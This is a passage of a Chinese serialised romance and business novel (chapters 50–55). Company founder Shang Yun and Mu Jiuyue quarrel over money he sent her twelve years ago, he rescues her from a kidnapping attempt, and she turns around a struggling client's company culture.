尚云一看来电显示“志高”二字,眉心微蹙,接通电话。 “尚云,今天有空出来喝一杯?” “我在神都山,如果你有空,就一起。”尚云说。 对方毫不犹豫答应:“好,我马上过来。” 尚云发了一个定位过去。 木信和阿闲最终在半个多小时后才出现在峰顶。 “下次打死我,也不能再参加了。”木信一副没出息的样子,瘫躺在地上,嘴里喘着粗气,喃喃自语。 阿闲气定神闲,学着他的语气道:“看起来令人恐惧的事物,真正去做了,发现也不过如此嘛。” 木信自己也觉得好笑,“谁?谁这么无知,说出这样的话来。” 阿闲哈哈笑过之后,也坐了下来,“那就休息一会,三分钟后跟老板他们汇合。” 木信赖在地上哼哼唧唧,半天才爬起来跟尚云去汇合。 “老板,木信他们过来了。”严教官说着,朝他们的身影挥挥手。 尚云正眼睛一瞬不瞬盯着手机里她的朋友圈动态。 “十二年了,一切未变。”配图里的景色,不难分辨正是他前不久走过的那条街道,定位地址却是“荷香轩”。 “老板。”二人已走至跟前。 “老板,你看今天的惩罚能不能减量?”木信一副凡事好商量的样子。 尚云抬头,嘴角微微上扬。“今天表现不错,超出我的预期。虽然迟到,但惩罚就免了。今天如此消耗体力,现在我们坐缆车下去吃肉。” “嘿嘿,说什么吃肉不吃肉的,这么见外。”今天不惩罚,就是捡了大便宜,木信生龙活虎起来。 “走吧。”尚云轻笑。 严教官下意识过来搀扶,尚云不动声色看了他一眼。严教官便会意,退至他身后。 让严教官三人去泡温泉,尚云则去洗了个澡,换了套衣服,去会合金志高。 金志高到了指定的地方,刚要下车,被候在一旁的尚云拦住了。随后拉开副驾驶坐了进去。 “今天来找我,应该是有重要的事。” “何出此言?” “你从来不喜欢运动,但我说在神都山,邀你一起,你想都没想就答应了。” 志高故作潇洒地用手整理了发型,笑道:“你洞悉人心的功力还那么强,我在你面前就像个小透明。的确,我有要事相告,电话里三言两句说不清,特意来找你。” 尚云不置可否,等他讲下去。 “上次知道慕九月没收到那50万之后,我就派人去找林作杰,费了一番工夫才找到他。他现在就职于雷默集团,我亲自找他问起当年的事,他一口咬定钱已经交到慕九月手中。” “他单方面说什么,重要吗?”尚云眯起眼睛,透过挡风玻璃看着前方。 “对,当时我也质疑。但尚云,他能提供当年的签收单,你看。”金志高将一张照片给他。 尚云接过照片,照片中是一张资金签收协议,资金签收人一栏,有慕九月的亲笔签名。 他拿着这张照片一语不发。 “尚云,要不找慕九月再问问,也许慕九月向你撒了谎......” 尚云转头直直盯着他的眼睛,赤红的眼底浮起薄怒,一字一顿地道:“既然有签收单,为什么当年不交给你?事隔十二年还随身携带这样的单子等着你来查问?” “这......”金志高一时语塞。竟没想到这些,轻易就被林作杰糊弄了。果然如父亲所言,十个他都抵不上一个尚云。 尚云冷冷道,“这件事,你不用再插手。我自己查。” 在志高错愕的目光下,下车走了。 给正在泡温泉的三人发了信息,跟阿闲说度假村的烤羊排好吃,让他带二人去尝尝,回来跟他报销。便独自开车离开,回了宝宁。 一白一黑两辆车子同时停在九月小区外围,两辆豪车并不算稀奇,但在这片稍嫌寒酸的租住小区,却是一道靓丽的风景。 稀拉的几个行人,忍不住侧目打量。 不一会,九月坐着计程也回到了住处。一下车就看到两辆熟识的车子。车里的人似乎也看到了对方,并不急着下车。 她走也不是,留也不是。最终还是耐心等待他们下车。 墨色轿车上,下来一个深色卫衣休闲服装的英俊男人。戴着墨镜,卓尔不群的站在车旁,缓步向这边走过来。 白色轿车也打开,下来一个头戴时尚帽子,穿着得体时尚的港仔外衣加牛仔裤着装的年轻男人。 “尚总,莫诚。”九月不知道今天是什么情况,硬着头皮打个招呼。 两个男人对一旁的九月置若惘闻,径自走到对方面前。 “尚总好。”莫诚微微一笑,“久仰。” “你就是莫诚?”尚云面无表情,墨镜后面那双眼睛却在无声打量着面前的年轻男人。 “看来尚总对我还有印象,没错,我就是你寄过快递和明星片的莫诚。” “你来找九月?” “没错,刚从国外回来,牵挂她,一下飞机就来了。尚总看起来不像是路过。” 听到莫诚的措辞,尚云有一丝不悦:“九月没跟你说吗?我们已经约好出去吃饭,专程来接她。” 莫诚沉默地看着尚云,似在猜测镜片后他真实的神情。 尚云也似笑非笑,老神在在的盯着莫诚。 四目相对,狭路相拼。 第五十一章 弱水三千,只取一瓢饮 瞬间闪出金属般激进的火花,两人俱是一凛。 尚云显然不想在他身上多作停留,眼里发出警告信号后,收回视线冷然越过他,走到九月身旁。他把手搭在她的肩上,姿态亲昵:“九月,菜已经点好,就等我们过去,走吧。” 九月愕然的抬头,他话语里的柔情,并未抵达他的眼底。 她不知道他葫芦里卖的什么药。但她了解尚云,轻易不会这么做,一定是找她有事又不方便说出来。 视线越过尚云的肩膀,她看到莫诚一脸温和的笑容,“九月,放心去吧,我不会误会。明天去公司接你下班。” 随后,驾车离去。 “上车吧。”尚云收回放在她肩上的手,淡淡道。 九月默声跟着上了车。 尚云将车停在路边,九月尾随他进了一家中国古风浓厚的主题餐厅。 她环顾四周,发现所有服务人员都在一米七左右,化着微淡的妆。长相甜美雅致动作规范。不管是穿着服装还是店面装修风格一率都是走古典路线。 这样美妙的地方,赏心悦目到就算什么都不吃,光是在这里坐上一坐,也是一件极其享受的事。九月频频点头,暗中称奇。尚云走得很慢,也并不与她交流,九月也只好放缓步伐。拐过大堂朝一旁的复古木质楼梯走去。 比起楼下,楼上更是别有一番风味,宽敝有余。恍惚间犹如进入了古代盛世的豪华宴楼。只见中间为厅,雕镂梁壁,古画芬芳。厅中散座几桌,两边皆是包厢。包厢以珠帘为门,木格为窗,每隔两米有一古装美女侍立。 进入包厢内的灯光柔和但不暧昧,悦目而不突兀。周围以古典字画装裱,一张木桌,两张吊悬在半空有如秋千一样的腾椅,木桌上摆着一瓶花。 九月打量完包厢里光景后,两人入坐后,跟着上来的隆英明将两本菜单递过云,适时的问:“尚总,今天还是跟以前一样吗?那这位美丽的小姐吃点什么?” 尚云也不翻开,有些疲态:“我照旧,你跟慕小姐推荐下你们这里的特色食品,看她需要吃点什么。” 隆英明报了一串串吃食与点心,还有一些特色菜。 九月也懒得去选择,心想既然他喜欢吃的,应该口味不会太差。“跟他一样吧。” 尚云有些意外,原本低垂的头,微微一抬瞄了她一眼。 “稍等片刻,很快就好。”隆英明出去时,顺带把珠帘垂了下来。 空间一时非常静谧,只剩若有若无的山涧溪流的水声,和轻盈空灵的铮铮琴音。九月宁神一听,知道这是古筝曲《水云逸》,这是一首她比较熟悉也特别喜欢的古筝曲。 以前她作画,总喜欢这样流淌古筝音乐的宁静空间。从古曲中回过神来,九月这才仔细打量起桌上那瓶花来。她两手肘撑住桌子,手掌托着下巴,倾身细细打量这盆花。装作不经意地问道:“你不会无缘无故请我吃饭。” 没听到回应,她抬头正想问对面的人。却见他眼神专注地凝视着窗外。她忍不住把视线移向窗外,那里有个身影一晃,很快隐入树荫里。 “先吃点东西吧。”尚云取下墨镜。 九月被他赤红的眼睛吓一大跳,心忖,怪不得今天破天荒戴着墨镜,平时也不是喜欢扮酷的人。 “尚总,你眼睛......” “打扰。”一个古装侍者端着开胃食品和茶盏进来,“二位请慢用。” 尚云眉心紧锁,对侍者道:“给她再加两份点心,一份紫玲珑,一份绿萝妃子笑。” “好,很快就来。” 女侍者走后,室内陷入沉默。 九月看看花,眼角余光捕捉到尚云,抵着茶依然注视着窗外。 他放下茶杯,微闭着眼睛,头靠在竹腾椅上,腾椅微微摇摆。 她疑惑的举目望着他。他只是静静靠在腾椅上,像是睡着了。她站起身,脚步悄悄朝门口移。 “去哪?” 被发现了。他仍旧闭着眼睛,躺在腾椅上的姿势不变。“我去洗手间。” “去吧。”他轻声道。 回来的时候,有两位古装美女服务员端着托盘鱼贯而入。隆英明亲自将侍者托盘中的食品,一样一样摆上桌。 “两份清粥,两分点心,已经上齐,二位请慢用。” “请问下,这桌上的花挺雅致,这是什么花?”九月好奇,别的餐厅都是玫瑰、香水百合什么的,这里桌上都是这种小白花,怕是有什么来历。“闻着还挺香。” 隆英明显然对这种花也是很喜欢,边点头赞同边娓娓道来:“这是月兰,它的特点就是每一朵花只有两片花瓣,生来相拥相偎。长成花苞时是这样,盛开了还是这样,一生都不曾改变花形。它原生于南美洲,大约五十年前左右才被一位生物学家带来中国,后几经小心培植在中国扎根。由于中国人们对爱情的向往与对婚姻忠贞的期望使然,故给它起名鸳鸯花。” 九月频频点头,“哦哦,寓意挺好的。” 隆英明见她如此神情,忍不住笑了:“说到寓意,月兰花的花语是钟爱一生,生相偎,死相随。不知是花语的寓意,还是花儿本身的魅力。来这里的人都会喜欢上这种花。就连尚云第一次来这里,也是......” 尚云清了清嗓子,隆英明很有眼力见,干笑两声便不再说下去了。“二位慢用,有需要叫我。” 尚云正自顾自的帮她把一包细细的调味粉洒在那一小罐粥里面,立即闻到了一股香味。那是炒过的花生芝麻碾成粉末的味道,很诱人。 “尚总是这里的常客?” “嗯,算是。” “尚总惯常点的就这一道清粥,吃着还挺好吃。” “嗯。” “我看这家店老字号,很多招牌菜。我以为尚总会点些美味佳肴,就跟着来了一份。” “后悔了?现在要点别的还来得及。每个人都有自己心目中的招牌菜,想吃到让自己满意的菜,以后就别偷懒。”尚云吃着粥,津津有味的样子。 每个人都有自己心目中的招牌菜。听到这句话,九月没来由的动容。 想不到他的招牌菜,不是那烈火烹油的八大菜系,也不是细火慢熬的老火靓汤,竟是一份清粥。 她突然想起一句老的掉牙的古语:弱水三千,只取一瓢饮。 第五十二章 争执 “这份叫紫玲珑?”九月看着紫圆光润如珍珠一样的美丽点心,用筷子夹起,尝了一口。 她露出欣喜的表情:“真好吃,有点像麻薯味道,但是更细腻。怎么会这么好吃呢?真是色香味俱全,奇珍美味。” 尚云皱皱眉头,他已经吃得差不多,看着她丰富多彩的表情,多有表演的成分。于是在旁边冷冷看她表演。 “刚才说,这个叫绿萝妃子笑?”九月自说自话,看着光滑的陶瓷碟子上,一串小巧翠绿的绿叶藤,每一片叶下均藏有一颗白色糕点,糕点下端如包子圆滑,顶端如喇叭张开,露出烟红沙馅。 “果然像是藏在绿叶后调皮娇笑的美人!”这回,九月是真心惊叹。 这厨师果真功夫了得,点心的名字也取得恰如其名,富诗意,而不失美韵。小心翼翼的咬一口,馅味清甜不腻,香糯爽口。 尚云微眯着眼,斜斜靠在吊椅上,投注在她脸上的目光复杂,让人看不透。 她终于也放下筷子,挑衅地看着他:“感谢尚总的款待,说吧,尚总。找我来究竟何事?” 见他只是微眯着眼,盯着她,九月又道:“如果尚总没什么事,我就先走了。” 说完起身拿起包。 “黑香水酒吧的事你还有印象吧。”他清冷的声音给了她一个警示。 “什么意思?” “有人正在下面等着你,少说也有十几人,这会儿下去我可护不了你。” 九月一屁股又坐下来,低声斥道:“尚云,你现在怎么变得这么无耻?我料你有事找我,才跟着你出现在这,当真我吃不起一碗清粥要来蹭吃蹭喝么?现在连威胁这么下三滥的手段都搬出来了,你想干什么?” 尚云一双赤红的眼睛一瞬不瞬落在她脸上,表情变幻莫测,良久终归一片平静。“十二年前,我遣人送来50万,你还有印象吗?” 九月一怔,原本怒气熏红的脸转向一侧,听这话,她望着他忽地一笑,“怎么,十二年前拿钱买断关系,十二年后沦为羞辱我的谈资吗?” “希望你好好说话。”尚云面色不悦,鼻翼张了张。 “有印象又如何?”九月垂下眼睑,冷声。“当初我拒绝接受那笔钱,你就应该料到,我做不到感恩戴德。” “为什么宁愿让自己活得人不像人鬼不像鬼,也不接受那笔钱?”尚云原本靠在腾椅上的腰背坐直了,他眼中的伤痛之色是如此明显。 然而九月低声笑了,甚至伸出一只手来撑住额头,仿佛对方说了一个极好笑的笑话。“原来尚总还关心我是人是鬼,我打心底感动。 慕家出变故后你在哪里,回你家继承祖业当大少爷去了。丢给我50万做为补偿,我就该摇尾乞怜地伏低做小,满足你高高在上的布施姿态,等待有一天你再凌驾于我头上指手画脚、颐指气使吗? 我早该知道,当初你借赌约不准我再叫你哥哥,就已经初露端倪,为后来撇清关系、划清界线做足前戏。 我慕家一家三代,虽不富裕,但也傲骨铮铮挺直腰杆做人。你隐瞒家世我们有过半句打探吗?有过半点想利用你攀附什么关系吗?你遣人送来的50万让慕家打脸,让慕家蒙羞。我就活该接受吗? 尚总,你不提起此事,我都差不多忘记那些令人难堪的往事,我也已经开始承认你如今是博爱悲悯、不以营利为最终目的仁商。 此前你一句“就凭慕爸爸让我叫他爸爸”这句话,我按下心中不甘进入普世工作,但既然现在,你先提往事要将那些屈辱撕开,不给彼此留体面,恕我今后无法再继续仰人鼻息。祖宅要拆要卖是我慕家的事,跟你没有半分关系。你没有资格阻拦!” 她说完这些话,拿起自己的包,冷硬说道:“再见!不,最好这辈子都别见了!” “九月!”身声传来一声怒吼,“慕九月!你给我回来!” 九月一腔怒气已然宣泄,多年积怨也全数泼在他身上。哪还在乎他在说什么。 冲出餐厅,已经是十点多,繁星闪烁,像铺嵌在夜空中熠熠生辉的宝石,异样的美丽。她拦了一辆计程车,扬长而去。 坐在计程车里,她的全身心才松驰下来,心里有隐隐后悔,但很快压下去了。 只是她怎会知道,在计程车后,紧跟着两辆黑色加长商务车。计程车到达小区附近一个人迹稀少的荒废公园,其中一辆黑色商务车强势超车,并变道挡住计程车的去路。 司机下车,刚想理论,就被人用铁棍抵住腰部:“叫那女子下车,你就可以走了,否则得叫救护车来抬你。” 计程车司机僵直腰背,机械地点点头。他回到车里,对九月说,“美女,下车吧,车子过不去了。” “什么情况?”九月看窗外人影绰绰,心想这下坏了。“你将车开去闹市,我付你三倍车费。” “不不,不收你一分钱,赶快下车吧。” 九月推开车门,就被人钳制住,计程车很快消失在夜色中。“你们是什么人?” “跟我们走一趟自然就知道了。” 九月强作镇定,脑中电火石光,思考着下策,“好,你放开我自己走,你放心我不会跑,也跑不掉。” “少废话,上车。” 说着用铁棍在她背部一击,麻痛的感觉传至头部,眼前一黑便失去意识。 一辆墨色轿车和一辆路虎吉普车先后到达事发现场,在黑色商务车离开之前便抢先用车挡住去路。 下来十二个黑t衫的魁梧男人,其中一个弹掉烟蒂:“来了两个多管闲事的。” 尚云下车,走至两米距离停住脚步,因为一路急切,此时满头大汗,解开外套丢给阿闲,双手叉腰淡淡道:“什么年代了,还有这种戏码?” 十二人中一个看似首领模样的人说道:“尚云,如果我是你,一定不会掺和这件事。普世这么多员工和客户,你耗不起。我可是光脚的不怕穿鞋的。” 第五十三章 先发制人 威胁意味过于浓厚,尚云短暂冷笑一声:“抱歉,我专治不穿鞋的。” 为首的果然被激怒,打个手势,几人拿着铁棍就上来,其中一棍打在尚云背部。 阿闲惊惑,这一招原本是能躲开的,为何尚云要生生挨这么一下。刚想出手帮忙,尚云喊道:“报警。” 尚云本来就窝着一团火,此时更是恨不得找个人练手。紧跟着身形变动,在对方来不及再次出手前,尚云无影拳打在三人胸口,倒下三个躺地呻吟。 为首的男人和阿闲俱是惊诧他身手之快,不待反应过来,尚云的拳头已落到为首的脸上,只听咔嚓一声,下颌骨应声断裂,“哎哟”都喊不出来,腿部猛然一踢,他立即感到股骨也断裂了。 点到即止。 尚云停下拳脚,看着眼前瑟瑟发抖全然不是对手的一拨人,冷声道:“谁也不许离开,否则,跟他的下场一样。”他当然是指为首的人。 果然没有人敢离开,更不敢轻举妄动。 警车到现场时,九月还躺在对方车上。 尚云接受盘问,说出了为保护自己公司女员工,与阿闲来救人。在对方挑衅下自己出于自卫并“不伤及无辜”点到即止的全部经过。 并且建议调查沿路监控,自己也能提供车头里隐秘装置的监控,里面有现场事件全部过程。用以佐证对方人多势众跟踪普世女员工并绑架未遂。 在被对方用铁棍打了之后他才开始孤身反击,尚云说着掀开衣服,身上有伤可验证。报警后他不再动手,一直等街警方人员到来。 对方性质恶劣,尚云拒绝金钱赔偿,并将此事连夜提供于媒体,重金寻找律师替自己声讨公道。 第二天,头条新闻便大幅度出现“普世员工遭跟踪绑架,普世创始人尚云被打云云”,隐约透露前一段时间,普世公司很多客户被不正当手段撬走、造遥生事等等恶性商业手段。 原本处于黑暗中的暗箱事件在社会上发酵,在互联网上立即引起关注,掀起巨波狂浪。 事后尚云被送进医院,医生说伤势不轻,背部肩胛有骨裂倾向,建议住院观察。 阿闲皱眉叹息,“你何必挨那一闷棍。” “非常时期,必须用非常手段应付。”尚云如是说。 阿闲心中感叹,若是他父亲古力详当年有这样的金刚手段,何至于被人暗害。 目前,阿闲作为公司方唯一目击者,屡屡被同事问起,他并未向外透露半个字,只说媒体已经挖出了全部经过。 九月第二天晚上,才从医院醒来。 那人下手太狠,九月醒来后脖颈后面无法扭动,只能僵着看向正前方。 尚云除了背上的伤,还有脚上的伤,也只能留在医院。听说九月醒了,他出现在她病房。 九月并不知道发生了什么事,但见自己安然躺在医院,而尚云也是身着全套病服,心中明白几分,默默地更添懊悔。 为避免两人见面无言的尴尬,她紧闭双目装睡。 “我知道你在装睡。”尚云轻声说,他走近坐在她床沿。 九月装不下去了,只好睁开眼睛,“看来是尚总救了我,老天真是擅长给我打脸。” “你我都不是小孩了,不必用尖酸刻薄的说话方式解决问题。祖宅不能卖,你也不能离开普世。”尚云低沉如水的声音,缓缓地流泄在她耳边。 “你救了我,我很感激。但这不是你来要求我的筹码。”九月仍然寸步不让。 连她自己都没发觉,在尚云面前,她依然肆无忌惮,依然任性。只是与少年时代的不同,她选择了让彼此能感觉到尖锐刺痛的极端方式。 “我承认,你这十二年来所遭受的一切,我负有重要责任。虽然已经无法回到过去重新选择,也补偿不了。但我希望你能为自己的人生负责,不必因为我,而做出不理性的行为。” 九月又闭上眼睛,听到他承认自己当年的错误选择,她心中冰层消融些许,委屈之感涌上心头,两行泪水从眼角滑进鬓发里。 尚云几不可闻地微微叹息,声线平静如水:“你在普世的这段时间,我看到了你的天赋和能力,看到你认真负责的工作态度。你值得拥有更广阔的天地去搏击长空,实现自身的人生价值。普世文化可以提供平台,你可以尽全力施展自身才能,它照单全收。 你不必将我视为当年或现在的尚云,也不必将普世文化视为尚云的私有企业。现在跟你讲话的,只是普世文化的创始人,仅是个创始人而已,它不会是我所独有,它是你们大家的,甚至是全世界的。 我对普世文化有很多期待,但就算我能力通天,独自一人也绝对实现不了。需要大家合力去开辟前路,推动它走得更远,顺便也打开大家的眼界。 总有一天,你能看到普世文化带给你不一样的世界,你会庆幸现在的坚持和选择。于公,我希望你能好好考虑,慎重决定自己的职业发展。于私,我希望你能学会保护自己,不必用自身安危跟我置气,不值。” 床铺微微起伏,听到轻微关门声响,房间恢复宁静,他的气息渐渐淡去。 九月双肩抖动,决堤的热泪滚滚而下,枕头上的湿渍越来越宽。 泪眼蒙胧之际,有人用纸巾替她擦去泪水。 她莫名期待,定睛一看,原来是莫诚。胸间怅然若失。 “莫诚,你怎么来了?” “刚得知你的消息,来看看你。没想到,上次的事情过去没几天,你又出现在医院。”刚才问过医生,医生告诉他没有大碍,他才放下心来。 获知九月被人跟踪绑架导致住院的消息,他愣了半晌,知道当初是错怪自己的亲爹了。 因此,特意去医院看望他。 小竺也在那里,看到他到来,冷漠如陌路人。“这里不需要你了。” “其实你打电话给我之后,我每天都会跟他的主治医生了解病情,知道他早就脱离生命危险了。”莫诚情绪比较低落,稍加解释,以掩饰自己的愧疚。 “莫诚,他是你爸,为了一个女人把亲爸气成这样,你就没有一点愧疚吗?”小竺压低声音诘问道。 “我跟他之间岂止因为一个女人的事。他当年怎么对咱妈的你不知道吗!他对我有尽到做父亲的责任了吗?”莫诚回怼。 小竺果然不作声了,也许是想起某些往事,也许不希望两人的争执让父亲听见。 第五十四章 锲而不舍 这时小竺手机来了一个电话,小竺下意识瞧他一眼,并不接电话。 莫诚目光随意扫了一眼她的手机,她机警的垂下手机要去外面接听。“公司来电话,我出去一下,以免吵到爸。” 箫章病倒后,雷默集团事宜都落在小竺和总经理林作杰的肩上。 林作杰对箫家毕恭毕敬,事无巨细都会一请示二汇报,因此有他在,小竺一个半缸子也能轻松扛起雷默集团,对林作杰非常信任。 “你接吧。”箫章还在昏迷中,怕吵到他只是借口。莫诚也无心打听,他向来不关心父亲公司之事,知趣道:“看到他正在一天天好转就放心了,没事我先回去了。” 离开父亲病房后,径直驱车来到九月所在的医院。 九月不知道莫诚家里那些曲折,但听到莫诚的话,她倒是开始思考为什么自己会屡屡受到攻击。上次黑香水酒吧过去没多久,到这次十几个人围捕她。 回想尚云在餐厅就提醒她了,当时纯粹以为尚云在威唬她。 她一心都在情绪中,竟没有细究为何尚云会知道黑香水酒吧的事,阿闲又为何会出现在黑香水酒吧,这一次,尚云又怎会预先就知道有人欲对她不利。 莫诚走后,她便去找尚云,阿闲一直在医院作陪护,此时正在病房打游戏。 “闲哥,尚总呢?” “啊哈,九月,刚医生找他谈点事,一会就回来。你一个病号,可得多卧床休息,别四处溜达了。有什么需要,找护士或者打我电话就行了。”说着,扶着九月往病房里塞。 “那个......闲哥。我就想知道自己为什么会被人截堵。有报警没?你知情吗?”九月转不了头,只能僵直着脖颈问阿闲。 “我知道啊,全世界都知道了。你先回去躺着,我拿这几天的报纸给你看看。互联网上也有相关报道,要多详细有多详细。”阿闲说着,将九月扶上病床。 九月有些不解。她这一介普通人受欺侮还上新闻,什么情况? 她点开手机用关键字搜索,立即就出现很多视频新闻。 那些监控录像动态视频特意做过剪辑,所以视频并不长,但剪辑刚巧都是精彩片幕。点击率最高的要属冲上头条——关于普世创始人尚云被打,奋力反击的视频。 那一铁棍用劲砸在身上,隔着屏幕都觉着疼。何况对方人多势众,将尚云围个水泄不通。 评论区说什么的都有,但都一边倒支持普世文化,严惩作恶人员。 九月看了一遍,就不忍再点开。她将视频关掉,闭上眼睛都是尚云被打的画面。 此时暗自后悔,若不是她任着性子独自离开,尚云也不至于受到他们围攻。 普世文化因祸得福,反而受到社会关注。创始人尚云“不以营利为最终目的”的理念一时也成为商业界热捧的经营理念,甚至有一部分有情怀的创始人,竞相模仿并修正自己的企图心。 前段时间呈坡度下滑业绩,而今触底反弹,向上暴涨。 尚云倒是宠辱不惊。周二就出院了。 恢复工作第一件事就是召开三大蓝鲸总团首领会议,会议重点强调要力保每个客户精准服务,乐极易生悲,在业绩欣欣向荣时,越要谨慎对待每一项工作,不得有任何松懈借口。并指出很多已殒落企业的炸弹,都是在志得意满时埋下的。 接着又跟核心团队木信、阿闲和严教官讨论加强公司的内部管理以及安保计划,人往往在志得意满时放松警惕,这是人之常情。公司在万众瞩目中,暂时不会有危险,但最安全的时候就是最危险的时候。 如果对方要在普世文化的管理疏漏中找破绽,或是搞事故意煸动言论,让被捧上天的普世文化直接从高处摔下来,肯定会挑这个时候下手,不能让他们有机可乘。 “记住,采取内紧外松模式,让外界看不出我们有所警惕,但内部却无懈可击。” 听到众人表情肃穆地相应,便道:“去忙吧。” 九月在尚云出院后执意也跟着要出院,阿闲劝说公司给她病假,只需好好休息。 她一句“在公司更能恢复生命力”让阿闲无法反驳。 尚云知道后脸上浮现一抹笑容,淡淡道,随她去吧。 证明她想通了。 她出院后就出差糖世家公司,在她的指导下,糖世家投入很少的资源,拍摄了几条立意新颖的广告视频。 以《灰姑娘的水晶鞋之糖世家新童话》为题,组建一支临时演员队伍,在九月的导演下,一部小视频出炉了。 【主角露丝,暗恋王子已久,得知王子寻找能穿上水晶鞋的姑娘,不昔挤进小一码的水晶鞋里,并当众宣布自己就是王子所要找的姑娘。 王子找到她后,邀请她跳舞,她跳舞时忍受足部巨痛,屡屡摔倒,让王子很是不快,质疑她并不是自己要找的人。 她痛定思痛,脱下水晶鞋,换上了自己舒适的红色舞鞋。 这时舞厅里音乐响起,她曼妙的舞姿如仙子般飘逸,如风吹动杨柳般柔软自然,高难度动作演绎优美而令人惊艳,四周贵族豪门掌声雷动,纷纷前来邀她共舞。 从此,她也找到了属于自己的幸福,被一位满心满眼都是她的皇室王子所爱恋。】 广告主题易懂,“褪去粗陋旧衣,迎来精妙新生。与其仰望他的华丽,不如我懂你的万众瞩目”。既暗含擅长展露客户优势的包装宣传,又有挥泪悔斩前身,现今重新启程的双重意味。 九月又找到唐沁,让公关部门接洽媒体,发布关于企业转型的初衷。 再结合企业以前一些前身“业障”,建议要想获得公众再次认可,立起新的形象,一定要建立诚信,塑造新印象。 这是尚云在邮件回复里也曾提到的重点。 九月跟蓝鲸第7队的成员开会,商讨细节,要将“甜头”传播到位,至少糖世家内部员工先相信坚持价值观是一项长远投资。 这些布局下去后,果然有所成效,但并没有预期中的效果。 九月晚上睡不着,在房间走来走去,走累了就坐在阳台发呆。这时木信打电话传达尚云的意思,让她先回公司,毕竟已经全力以赴,尽人事,听天命。 自从上次从医院出来,尚云就没跟她直接交流过,一直让木信代为转达,或是把相关事项发邮件,顺便cc给她,让她知情。 九月叹了一口气,“希望公司再给我一点时间,糖世家是我独立跟进的第一个项目,这么个结局我不能接受。” 木信劝道:“我们还有其他的项目,如果每个人都吊死在一个项目上,那公司人手远远不够用。” “我知道,我知道。我不会落下其他工作,你指派的任务我都有及时处理。但糖世家的项目远远没有到放手的时候。两天,可以吗?只要两天就可以了。” 木信似乎知道她想做什么,严肃地道:“九月,我知道糖世家对你的意义。有些事就如同播洒种子,在地底下需要时间去扎根酝酿,到了合适时间自然会拱土而出。你千万别急功近利,走进误区,容易弄巧成拙。” 九月沉默片刻,说道:“我都知道。” 第五十五章 普世文化 木信的直觉是正确的。 九月的确想铤而走险。 糖世家不同于普通客户,长期以来的功利主义让企业经营产生变形,糖世家整体都有深入骨髓的“快利”思维模式。如今新文化植入时间不长,在实际成效未出现之前,表面上顺从于新文化,但根基未稳,容易动摇。 企业是人的创造物,本身就具有人的属性,也就是人性。 想让糖世家心甘情愿真正由内而外去拥护新文化,必须要拿出能说服众人的现实案例。如果放任等待时机,一旦长时间坚持看不到成果就会产生信念动摇。 之前他们所付诸的努力都会功亏一篑。下次再讲文化革新就再也不会如此顺利,这个企业也只有面临倒闭的结局。 木信担心也有道理。文化立信事件不能自导自演,因为太刻意,大家就会明白这是自欺欺人,无人信任新文化才是真正的危机。 “前有狼,后有虎。”九月几欲发狂,将长发揉成了梅超风同款,焦虑到整晚失眠。 电话在这时候响了起来,九月见是朱明,迟疑片刻还是接了。 “九月,你在哪?”朱明此时站在医院门口,“刚去了医院,听说你出院了。去你住处,敲了老半天门也没人应。” 九月道,“我出院在外面出差,这几天都不在家。” “在哪出差,我想见你。” “朱明哥,我没事了,你看我都能正常上班,所以你就不用担心。” “我爸妈也担心你,让我务必要来看看你。”朱明声音有几分不自然,他还未将九月拒绝他的事告诉二老。这几天心绪有点消沉,没关注新闻。要不是父母打电话问他,他到现在还不知道九月摊上这么大的事。 九月没再拒绝,“那我把定位发给你。” 地址发过去没多久,一个多小时的样子,朱明即出现在九月面前。“朱明哥,你也看到了,我真的没事。你替我向伯父伯母问好。” 看到她的状态,朱明细细打量她,确实放心了。 两人在林荫道上散步,朱明说:“九月,要不为了以后的安全起见,我来接你上下班吧。” “没那么夸......” “只是作为哥哥的身份来接送你,哥哥保护妹妹,天经地义。”朱明笑着说,眼底却掠过一抹伤痛。 九月看得心里有些难过,给了朱明一个拥抱,“朱明哥,我真的没事。何况你能保护我到几时?总不能一辈子依赖你。” 朱明无奈笑道,“那你要好好的,别再受伤。” “当然。” 经此一折腾,九月回去后很快便睡着了。 大概是天意。 第二天,九月在糖世家公司广告组,跟他们负责人商量改变广告传播策略的时候,就听不远处一个设计师低声喊了一声“糟糕”。 声音并不大,但在大家都沉心忙于自己的工作,办公室相对较安静,因此九月也听到了。 旁边一部门同事就发问:“怎么了?” “这个包装设计已经完成,客户也已经白纸黑字地确认,并且在样板上签字寄回来。现在包装盒正在制造部进行量产。”设计员语速很快地说道,“我刚刚发现LoGo跟以往的LoGo版本稍微有出入。之前发的是原版,第二次客户发来的是之前供应商做的,比例和圆润度都不太一样,但仔细看还是能看出来。” 这是客户的工作人员犯的错,跟糖世家的设计师关系不大。 九月知道时机来了。她不容置疑的说道:“叫停生产,快。” 生产主任听到消息,摇头道,“生产排期都是根据最优化的精益方案执行,如果原生产的产品废弃,排期全部要更改,延误其他客户交期不说,也给我们部门和公司造成巨大的成本损失。何况客户早就确认了样板,责任不在我们公司。完全可由客户承担,后续他们自己收到货后自己废弃,再重新增补订单。这样我们不亏,也不输理。” 唐沁也闻讯赶来,她一脸疑惑地问九月:“主任说的不是没道理,九月,能告诉我为什么要这么做吗?” 九月只说了八个字:“行有不得,反求诸己。” 这是糖世家的核心价值观。设计师在一旁陷入沉思。 唐沁也是一愣,点点头,回头对主任说,“停产。等重新确认样板再生产。” 设计师打电话跟客户沟通这件事情,客户方也已经做好了承担成本损失的准备。 但设计师讲完事情全过程后,表示是自己粗心大意没有事先检查出来,给他们造成困扰。愿意自己来承担这笔损失。 这就让客户大感意外。 其实也不是多大的事,但这个态度在锱铢必较、厘毫必争的商圈里却是极其罕间的。 唐沁想不到自家设计师有这样的胸襟和觉悟,于是不仅没有让设计师承担这笔损失,还奖励了他践行公司价值观的行为,将他列为公司重点培养人才。 无巧不成书,客户公司采购正是那家公司的亲侄女,将这家公司情况告知上面后,客户公司老板对糖世家特别好奇,特意来公司参观。 聊起这件事,唐沁说了自己公司“行有不得,反求诸己”的核心价值观,客户非常欣赏,同时看到了糖世家的包装设计方面的实力。 当天就缔下长期合作意向,在后续客户跟唐沁也成了非常好的私交朋友,为她推荐了不少生意。随着口碑热度上升,越来越多的订单像雪片一样飞来,糖世家的经营与管理终于走入正向循环。这是后话。 糖世家的工作总算告一段落,九月回到普世公司。 刚走进公司大门,就听呯的一声,彩色纸花在头顶炸开。 九月吓一大跳,看到同事鼓掌慢慢走至面前,木信则从后面走出来,手里拿着礼花。“祝贺九月,圆满完成第一个项目!” 这是普世公司历来的庆祝方式。入职后独立经手第一个项目的人,不管是否成功,都会获得这种方式的奖励或者温暖鼓励。 “恭喜啊九月!”大家纷纷祝贺。 